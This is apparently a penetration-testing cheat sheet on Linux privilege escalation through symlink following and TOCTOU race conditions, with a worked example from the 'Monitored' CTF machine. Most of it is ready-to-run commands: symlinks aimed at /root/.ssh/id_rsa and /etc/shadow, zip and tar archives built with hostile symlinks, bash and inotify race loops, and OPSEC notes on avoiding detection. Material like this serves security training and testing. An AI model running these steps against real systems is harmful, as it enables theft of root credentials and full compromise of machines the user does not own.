Symlink and Race Conditions
#Overview
Symlink attacks exploit root-owned processes that follow symbolic links to read or write files in locations the low-privilege user cannot directly access. Race conditions (TOCTOU -- Time of Check to Time of Use) exploit the gap between when a privileged process checks a condition and when it acts on it. Both are precision attacks requiring an understanding of the target process's behavior.
#Prerequisites
- A root-owned process that reads or writes to a location you control (writable directory)
- For symlink attacks: ability to create symlinks in the controlled location
- For race conditions: timing-sensitive exploit scripts (inotify, bash loops)
#Detection & Enumeration
# Find cron jobs that operate in writable directories
cat /etc/crontab
# Example: root runs: cat /tmp/status > /var/log/status.log
# Find root processes frequently touching files
ps aux | grep root
# Find writable directories used by root scripts
find / -writable -type d 2>/dev/null | grep -v 'proc\|sys'
# Find root-owned scripts that use relative paths or symlink-following tools
strings /usr/local/bin/root_script | grep -E "tar|cp|mv|cat|zip"
# Watch process activity (pspy)
./pspy64 -p -i 1000
#Exploitation / Execution
#Symlink Following: Root Write to Writable Directory
When a root process writes to a file in a directory you control:
# Scenario: root cron job does: cat /tmp/status > /tmp/report
# The /tmp directory is world-writable
# Create a symlink from the target file to a sensitive file
ln -s /root/.ssh/id_rsa /tmp/report
# When root's cron runs, it follows the symlink and overwrites
# /root/.ssh/id_rsa with the contents of /tmp/status
# Better: use the symlink to READ a sensitive file
# Scenario: root process does: cp /tmp/uploaded_file /opt/app/data/
# Create symlink: ln -s /etc/shadow /tmp/uploaded_file
# When root copies, we can read /opt/app/data/uploaded_file (now contains /etc/shadow)
Real example from Monitored: The getprofile.sh script (run via sudo) copied phpmailer.log from a writable directory:
rm /usr/local/nagiosxi/tmp/phpmailer.log
ln -s /root/.ssh/id_rsa /usr/local/nagiosxi/tmp/phpmailer.log
sudo /usr/local/nagiosxi/scripts/components/getprofile.sh 1
# Profile now contained root's SSH private key
#7zip Symlink Exploitation
# If root runs 7z on a user-controlled archive:
# Create an archive containing a symlink pointing to /etc/shadow or /root/.ssh/id_rsa
ln -s /etc/shadow symlink_file
zip --symlinks exploit.zip symlink_file
# When root extracts the archive (without --no-symlinks), the symlink is recreated
# pointing to the sensitive file on the filesystem
#Tar Symlink Following
# Create a tar archive with a symlink that points outside the extraction directory
mkdir exploit_dir
cd exploit_dir
ln -s /root/.ssh symlink_ssh
cd ..
tar -cf exploit.tar exploit_dir/
# When root extracts: tar -xf exploit.tar -C /tmp/
# The symlink /tmp/exploit_dir/symlink_ssh -> /root/.ssh is created
# Now we can read/write files through the symlink
#Cron Symlink + Root Writes
# If cron writes to a predictable path in a writable directory:
# 1. Set up an inotify watch for the directory
inotifywait -m /tmp/writable_dir/
# 2. Create a race script:
cat > /tmp/race.sh << 'EOF'
#!/bin/bash
while true; do
ln -sf /tmp/placeholder /tmp/writable_dir/target_file
ln -sf /root/.ssh/id_rsa /tmp/writable_dir/target_file
done
EOF
chmod +x /tmp/race.sh
# Run this in parallel with root's cron -- when the timing is right,
# root reads the symlink pointing to the SSH key instead
#TOCTOU Race Conditions
# Classic TOCTOU: root checks if file is safe, then uses it
# Script: if [ -f /tmp/upload ]; then cat /tmp/upload > ~/data/imported; fi
# 1. Create benign file
echo "benign" > /tmp/upload
# 2. Set up inotify to watch for access
# 3. Race script:
while true; do
echo "benign" > /tmp/upload
ln -sf /etc/shadow /tmp/upload
done
# If the race wins, root cats /etc/shadow into the world-readable imported file
#inotify-Based Race Helper
# Install inotify-tools if available
apt install inotify-tools 2>/dev/null
# Monitor a directory for specific events and trigger actions
inotifywait -m -e open -e access /path/to/monitor |
while read path action file; do
# When a monitored file is accessed, race to change the symlink
ln -sf /target/sensitive/file "$path/$file" 2>/dev/null
done &
#Common Pitfalls
- Symlink following behavior varies by tool --
cp,cat,tar, andziphandle symlinks differently - Modern tar versions default to safety and refuse to extract absolute symlinks without
--absolute-names - Race conditions are probabilistic -- they may require hundreds or thousands of attempts
- The kernel's symlink protection (fs.protected_symlinks=1) prevents following symlinks in sticky directories
- inotify may not be installed; fall back to polling loops
- File writes by root may be atomic (create temp, rename) making symlink races impossible
#OPSEC Considerations
- Symlink creation is logged if auditd monitors the specific directory.
- Race condition exploit scripts running in loops generate high CPU and process event noise.
- Successful symlink attacks to read /etc/shadow or SSH keys are detectable by file access audit rules.
- inotify watches are visible in /proc/<PID>/fd and may be monitored.
#Post-Exploitation Value
Symlink attacks can exfiltrate root's SSH private key, read /etc/shadow for cracking, overwrite system binaries with backdoored versions, or redirect root's file operations to attacker-controlled locations. The specific value depends on what the root process reads or writes.
#Cross-References
#Tool References
| Tool | Link |
|---|---|
| inotify-tools | apt install inotify-tools |
| pspy | https://github.com/DominicBreuker/pspy |
#Source Machines
- Monitored (Medium, Linux) - Symlink attack on getprofile.sh sudo script to extract root SSH key from /root/.ssh/id_rsa